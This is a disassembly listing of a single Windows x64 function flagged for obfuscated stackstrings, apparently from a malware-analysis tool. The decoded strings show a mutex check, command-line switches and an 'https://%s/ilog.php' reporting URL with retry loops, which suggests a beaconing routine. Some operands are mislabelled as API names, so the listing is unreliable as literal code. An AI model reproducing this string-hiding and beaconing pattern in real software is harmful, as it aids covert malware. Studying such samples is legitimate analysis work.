Function at 0x140109478
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x428]
sub rsp, 0x528
mov rax, qword [0x14016a100]
xor rax, rsp
mov qword [rbp + 0x410], rax
mov r12, r9
mov qword [rbp - 0x38], r9
mov r15, r8
mov qword [rbp - 0x40], r8
mov rsi, rdx
mov qword [rbp - 0x48], rdx
mov r13, rcx
mov qword [rbp - 0x20], rcx
mov qword [rbp + 0x30], rcx
mov qword [rbp + 0x10], rdx
mov qword [rbp + 0x18], r8
mov qword [rbp + 0x20], r9
mov rbx, qword [rbp + 0x490]
mov qword [rsp + 0x70], rbx
mov qword [rbp + 0x28], rbx
xor edi, edi
mov r14d, edi
mov dword [rsp + 0x54], edi
mov dword [rbp + 0x3a9], 0x656e7265
mov dword [rbp + 0x3b1], 0x6c6c64
mov dword [rbp + 0x3ad], 0x2e32336c
mov byte [rbp + 0x3a8], WSASetLastError
mov dword [rbp + 0x362], 0x754d6e65
mov word [rbp + 0x366], 0x6574
mov word [rbp + 0x369], 0x41
mov word [rbp + 0x360], 0x704f
mov byte [rbp + 0x368], VarBoolFromCy
lea rcx, [rbp + 0x3a8]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rbp + 0x360]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x78], rax
test rax, rax
jne 0x1401095ec
mov rdx, qword [r13]
sub rdx, 0x18
or rdi, 0xffffffffffffffff
mov eax, edi
lock xadd dword [rdx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140109589
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
mov rdx, qword [rsi]
sub rdx, 0x18
mov eax, edi
lock xadd dword [rdx + 0x10], eax
add eax, edi
test eax, eax
jg 0x1401095a7
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
mov rdx, qword [r15]
sub rdx, 0x18
mov eax, edi
lock xadd dword [rdx + 0x10], eax
add eax, edi
test eax, eax
jg 0x1401095c5
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
mov rdx, qword [r12]
sub rdx, 0x18
mov eax, edi
lock xadd dword [rdx + 0x10], eax
add eax, edi
test eax, eax
jg 0x1401095e4
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
mov rdx, qword [rbx]
jmp 0x140109f04
call fcn.140013c54
mov rcx, rax
test rax, rax
je 0x140109f99
mov rax, qword [rax]
call qword [rax + Ordinal_26]
add rax, 0x18
mov qword [rsp + 0x48], rax
mov word [rbp + 0x3ef], 0x632d
mov dword [rbp + 0x3f3], 0x752d2073
mov dword [rbp + 0x3e5], 0x632d2073
mov word [rbp + 0x3f9], 0x253d
mov dword [rbp + 0x3ff], 0x2073253d
mov dword [rbp + 0x406], 0x64253d
mov word [rbp + 0x3ec], 0x7325
mov word [rbp + 0x403], 0x722d
mov byte [rbp + 0x3ee], reloc.WLDAP32.dll_Ordinal_32
mov word [rbp + 0x3e9], 0x6469
mov word [rbp + 0x3fc], 0x2d20
mov word [rbp + 0x3e0], 0x682d
mov byte [rbp + 0x3fb], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x405], WSASetLastError
mov word [rbp + 0x3f1], 0x253d
mov word [rbp + 0x3e3], 0x2d20
mov word [rbp + 0x3f7], 0x6469
mov byte [rbp + 0x3e2], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x3fe], 0x67
mov byte [rbp + 0x3eb], 0x3d
mov eax, dword [rbp + 0x4a0]
mov dword [rsp + 0x30], eax
mov rax, qword [rsi]
mov qword [rsp + 0x28], rax
mov rax, qword [r13]
mov qword [rsp + 0x20], rax
mov r9, qword [r12]
mov r8, qword [r15]
lea rdx, [rbp + 0x3e0]
lea rcx, [rsp + 0x48]
call fcn.140011a48
lea rdx, [0x14014b4c8]
lea rcx, [rsp + 0x60]
call fcn.140014840
nop
xor esi, esi
mov r12d, esi
mov dword [rsp + 0x50], esi
or rdi, 0xffffffffffffffff
mov ecx, 1
call fcn.1400af4e8
mov qword [rbp - 0x80], rax
mov qword [rbp - 0x78], rsi
call fcn.140013c54
mov rcx, rax
test rax, rax
je 0x140109f8e
mov rax, qword [rax]
call qword [rax + Ordinal_26]
add rax, 0x18
mov qword [rsp + 0x68], rax
mov dword [rbp + 0x3d9], 0x253d6526
mov dword [rbp + 0x3c5], 0x702e676f
mov word [rbp + 0x3c3], 0x6c69
mov word [rbp + 0x3dd], 0x64
mov dword [rbp + 0x3cc], 0x73253d69
mov dword [rbp + 0x3b8], 0x70747468
mov dword [rbp + 0x3be], 0x73252f2f
mov word [rbp + 0x3ca], 0x3f70
mov word [rbp + 0x3d3], 0x7325
mov byte [rbp + 0x3c9], 0x68
mov word [rbp + 0x3bc], 0x3a73
mov word [rbp + 0x3d6], 0x3d78
mov byte [rbp + 0x3c2], Ordinal_50
mov byte [rbp + 0x3d5], Ordinal_41
mov word [rbp + 0x3d1], 0x3d70
mov byte [rbp + 0x3d0], Ordinal_41
mov byte [rbp + 0x3d8], reloc.WLDAP32.dll_Ordinal_50
mov dword [rbp + 0x370], 0x616f7373
mov dword [rbp + 0x374], 0x632e6d70
mov word [rbp + 0x379], WSASetLastError
mov byte [rbp + 0x378], reloc.WS2_32.dll_WSAGetLastError
lea rdx, [rbp + 0x370]
lea rcx, [rbp - 0x58]
call fcn.140014840
or r14d, 1
mov dword [rsp + 0x54], r14d
movzx eax, byte [rbp + 0x498]
mov dword [rsp + 0x28], eax
lea rax, str.b7f142a44b334868a9f4b61ada19a021
mov qword [rsp + 0x20], rax
mov r9, qword [r13]
mov r8, qword [rbp - 0x58]
lea rdx, [rbp + 0x3b8]
lea rcx, [rsp + 0x68]
call fcn.140011a48
nop
mov rdx, qword [rbp - 0x58]
add rdx, 0xffffffffffffffe8
mov eax, edi
lock xadd dword [rdx + 0x10], eax
add eax, edi
test eax, eax
jg 0x14010985c
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
mov r15, qword [rsp + 0x68]
add r15, 0xffffffffffffffe8
mov qword [rbp - 0x28], r15
mov rcx, r15
call fcn.140013434
add rax, 0x18
mov qword [rbp - 0x60], rax
mov dword [rbp + 0x350], 0x6d697426
mov word [rbp + 0x357], 0x64
mov word [rbp + 0x354], 0x3d65
mov byte [rbp + 0x356], Ordinal_41
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov r8d, eax
lea rdx, [rbp + 0x350]
lea rcx, [rbp - 0x60]
call fcn.14001381c
mov rbx, qword [rbp - 0x60]
lea r14, [rbx - 0x18]
mov qword [rbp - 0x30], r14
mov rcx, r14
call fcn.140013434
add rax, 0x18
mov qword [rbp - 0x50], rax
lea rdx, [rbp - 0x50]
lea rcx, [rbp - 0x80]
call fcn.14010d348
test al, al
je 0x140109d10
cmp qword [rbp - 0x78], 0x40000
jb 0x140109f43
lea rcx, [rbp + 0x60]
call fcn.14010842c
nop
mov byte [rbp + 0x60], sil
mov word [rbp + 0x392], 0x6230
mov dword [rbp + 0x38c], 0x31313134
mov dword [rbp + 0x382], 0x61343633
mov dword [rbp + 0x386], 0x63626237
mov word [rbp + 0x398], 0x3165
mov dword [rbp + 0x39b], 0x65366135
mov word [rbp + 0x395], 0x3231
mov word [rbp + 0x39f], 0x61
mov word [rbp + 0x380], 0x3961
mov word [rbp + 0x38a], 0x6532
mov byte [rbp + 0x394], reloc.OLEAUT32.dll_VarI2FromStr
mov word [rbp + 0x390], 0x3262
mov byte [rbp + 0x397], gethostname
mov byte [rbp + reloc.WS2_32.dll_gethostnamea], 0x39
mov qword [rbp + 0x48], rsi
mov qword [rbp + 0x50], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x38], sil
lea rax, [rbp + 0x380]
mov rbx, rdi
inc rbx
cmp byte [rax + rbx], sil
jne 0x140109998
lea rcx, [rbp + 0x38]
cmp rbx, 0xf
ja 0x1401099c5
mov qword [rbp + 0x48], rbx
mov r8, rbx
lea rdx, [rbp + 0x380]
call fcn.140087d60
mov byte [rbp + rbx + 0x38], sil
jmp 0x1401099d5
lea r9, [rbp + 0x380]
mov rdx, rbx
call fcn.14000d3bc
nop
mov qword [rbp + 8], reloc.WS2_32.dll_ntohs
mov qword [rbp], rsi
mov byte [rbp - 0x10], sil
lea r8, [rbp - 0x10]
lea rdx, [rbp + 0x38]
lea rcx, [rbp + 0x60]
call fcn.1400ffa68
nop
mov rdx, qword [rbp + 0x50]
cmp rdx, 0x10
jb 0x140109a32
inc rdx
mov rcx, qword [rbp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140109a2d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140109fa4
call fcn.1400853e0
mov rcx, qword [rbp - 0x78]
call fcn.140085c18
mov rsi, rax
and dword [rbp - 0x70], 0
lea rax, [rbp - 0x70]
mov qword [rsp + 0x20], rax
mov r9, rsi
mov r8d, dword [rbp - 0x78]
mov rdx, qword [rbp - 0x80]
lea rcx, [rbp + 0x60]
call fcn.140111e50
mov bl, al
mov rcx, qword [rbp - 0x80]
call fcn.14009502c
test bl, bl
jne 0x140109a88
mov rcx, rsi
call fcn.14008545c
nop
lea rcx, [rbp + 0x60]
call fcn.14000dda8
nop
xor esi, esi
jmp 0x140109d25
movsxd rbx, dword [rbp - 0x70]
mov rcx, rbx
call fcn.140085c18
mov r12, rax
mov r8, rbx
mov rdx, rsi
mov rcx, rax
call fcn.140087d60
mov rcx, rsi
call fcn.14008545c
lea rcx, [rbp - 0x68]
call fcn.140111b34
nop
mov dword [rsp + 0x44], 0x312e36
lea rdx, [rsp + 0x44]
mov rcx, qword [rbp - 0x68]
call fcn.1400b276c
neg eax
sbb r14d, r14d
not r14d
and r14d, 0xa
cmp dword [rbp + 0x4a0], 2
setne sil
mov byte [rsp + 0x42], sil
cmp dword [rbp + 0x4a0], 3
setne byte [rsp + 0x40]
mov byte [rsp + 0x41], 0
xor r15d, r15d
xor r8d, r8d
lea rdx, [0x14014b4c8]
lea rcx, [rsp + 0x60]
call fcn.140014694
lea rdx, [0x14014b4c8]
lea rcx, [rsp + 0x58]
call fcn.140014840
nop
mov rbx, qword [rsp + 0x48]
mov ecx, 1
mov edx, 0x104
mov eax, dword [rbx - 0xc]
sub ecx, dword [rbx - 8]
sub eax, edx
cmp r14d, 0xa
jge 0x140109b84
or eax, ecx
jge 0x140109b53
lea rcx, [rsp + 0x48]
call fcn.140014364
mov rbx, qword [rsp + 0x48]
mov byte [rsp + 0x30], sil
mov al, byte [rsp + 0x40]
mov byte [rsp + 0x28], al
lea rax, [rsp + 0x58]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x60]
mov r8, rbx
mov rax, qword [rsp + 0x70]
mov rdx, qword [rax]
mov rcx, r12
call fcn.1400f3474
jmp 0x140109bc6
or eax, ecx
jge 0x140109b97
lea rcx, [rsp + 0x48]
call fcn.140014364
mov rbx, qword [rsp + 0x48]
mov byte [rsp + 0x30], sil
mov al, byte [rsp + 0x40]
mov byte [rsp + 0x28], al
lea rax, [rsp + 0x58]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x60]
mov r8, rbx
mov rax, qword [rsp + 0x70]
mov rdx, qword [rax]
mov rcx, r12
call fcn.14010d824
mov sil, al
lea eax, [r14 + 1]
xor r14d, r14d
cmp eax, 0x14
cmovl r14d, eax
movsxd rdx, dword [rbx - 0xc]
mov rcx, rbx
call fcn.1400b2380
test eax, eax
js 0x140109f83
cmp eax, dword [rbx - 0xc]
jg 0x140109f83
mov dword [rbx - 0x10], eax
cdqe
mov byte [rax + rbx], 0
test sil, sil
jne 0x140109c0f
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140109c62
xor ebx, ebx
lea rcx, [rbp - 0x18]
call fcn.14000d918
nop
mov r8, qword [rax]
xor edx, edx
mov ecx, 0x100000
call qword [rsp + VarBoolFromCy]
mov rsi, rax
mov rdx, qword [rbp - 0x18]
add rdx, 0xffffffffffffffe8
mov ecx, edi
lock xadd dword [rdx + 0x10], ecx
add ecx, edi
test ecx, ecx
jg 0x140109c4b
mov rcx, qword [rdx]
mov r8, qword [rcx]
call qword [rreloc.WS2_32.dll_htonl + 8]
test rsi, rsi
jne 0x140109c96
mov ecx, reloc.WLDAP32.dll_Ordinal_200
call qword [sym.imp.KERNEL32.dll_Sleep]
inc ebx
cmp ebx, 0xa
jl 0x140109c11
mov rdx, qword [rsp + 0x58]
add rdx, 0xffffffffffffffe8
mov eax, edi
lock xadd dword [rdx + 0x10], eax
xor esi, esi
add eax, edi
test eax, eax
jg 0x140109c83
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
inc r15d
cmp r15d, 0x14
jge 0x140109cc5
mov sil, byte [rsp + 0x42]
jmp 0x140109afd
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [rsp + 0x41], 1
mov rdx, qword [rsp + 0x58]
add rdx, 0xffffffffffffffe8
mov eax, edi
lock xadd dword [rdx + 0x10], eax
add eax, edi
xor esi, esi
test eax, eax
jg 0x140109cc5
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
mov rcx, r12
call fcn.14008545c
nop
mov rdx, qword [rbp - 0x68]
mov eax, edi
add rdx, 0xffffffffffffffe8
lock xadd dword [rdx + 0x10], eax
add eax, edi
cmp byte [rsp + 0x41], sil
jne 0x140109d72
test eax, eax
jg 0x140109cf8
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
lea rcx, [rbp + 0x60]
call fcn.14000dda8
mov r14, qword [rbp - 0x30]
mov r15, qword [rbp - 0x28]
mov r12d, dword [rsp + 0x50]
jmp 0x140109d19
mov rcx, qword [rbp - 0x80]
call fcn.14009502c
mov ecx, reloc.WLDAP32.dll_Ordinal_200
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
mov eax, edi
lock xadd dword [r14 + 0x10], eax
add eax, edi
test eax, eax
jg 0x140109d40
mov rcx, qword [r14]
mov rax, qword [rcx]
mov rdx, r14
call qword [rax + reloc.WS2_32.dll_htonl]
nop
mov eax, edi
lock xadd dword [r15 + 0x10], eax
add eax, edi
test eax, eax
jg 0x140109d5a
mov rcx, qword [r15]
mov rax, qword [rcx]
mov rdx, r15
call qword [rax + reloc.WS2_32.dll_htonl]
inc r12d
mov dword [rsp + 0x50], r12d
cmp r12d, 6
jge 0x140109dc8
mov r14d, dword [rsp + 0x54]
jmp 0x14010970a
test eax, eax
jg 0x140109d80
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
lea rcx, [rbp + 0x60]
call fcn.14000dda8
nop
mov rdx, qword [rbp - 0x60]
add rdx, 0xffffffffffffffe8
mov eax, edi
lock xadd dword [rdx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140109da9
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
mov rdx, qword [rsp + 0x68]
add rdx, 0xffffffffffffffe8
mov eax, edi
lock xadd dword [rdx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140109dc8
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
mov ebx, esi
mov r13, qword [rsp + 0x78]
lea rcx, [rsp + 0x78]
call fcn.14000d918
nop
mov r8, qword [rax]
xor edx, edx
mov ecx, 0x100000
call r13
mov rsi, rax
mov rdx, qword [rsp + 0x78]
add rdx, 0xffffffffffffffe8
mov ecx, edi
lock xadd dword [rdx + 0x10], ecx
add ecx, edi
test ecx, ecx
jg 0x140109e0a
mov rcx, qword [rdx]
mov r8, qword [rcx]
call qword [rreloc.WS2_32.dll_htonl + 8]
test rsi, rsi
je 0x140109e2d
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0xfa
call qword [sym.imp.KERNEL32.dll_Sleep]
inc ebx
cmp ebx, 0xf0
jl 0x140109dcf
call fcn.140100b44
nop
mov r13, qword [rbp - 0x20]
mov rdx, qword [rsp + 0x60]
add rdx, 0xffffffffffffffe8
mov eax, edi
lock xadd dword [rdx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140109e57
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
mov rdx, qword [rsp + 0x48]
add rdx, 0xffffffffffffffe8
mov eax, edi
lock xadd dword [rdx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140109e77
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
mov rdx, qword [r13]
sub rdx, 0x18
mov eax, edi
lock xadd dword [rdx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140109e96
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
mov rdx, qword [rbp - 0x48]
mov rdx, qword [rdx]
sub rdx, 0x18
mov eax, edi
lock xadd dword [rdx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140109eb8
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
mov rdx, qword [rbp - 0x40]
mov rdx, qword [rdx]
sub rdx, 0x18
mov eax, edi
lock xadd dword [rdx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140109eda
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
mov rdx, qword [rbp - 0x38]
mov rdx, qword [rdx]
sub rdx, 0x18
mov eax, edi
lock xadd dword [rdx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140109efc
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
mov rax, qword [rsp + 0x70]
mov rdx, qword [rax]
sub rdx, 0x18
mov eax, edi
lock xadd dword [rdx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140109f1e
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
xor al, al
mov rcx, qword [rbp + 0x410]
xor rcx, rsp
call fcn.140085010
add rsp, 0x528
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
lea rdx, [rbx - 0x18]
mov eax, edi
lock xadd dword [rdx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140109f5e
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
mov rdx, qword [rsp + 0x68]
add rdx, 0xffffffffffffffe8
mov eax, edi
lock xadd dword [rdx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140109f7e
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
jmp 0x140109e37
mov ecx, 0x80070057
call fcn.140014608
nop
mov ecx, 0x80004005
call fcn.140014608
nop
mov ecx, 0x80004005
call fcn.140014608
nop
call fcn.140094f58
int3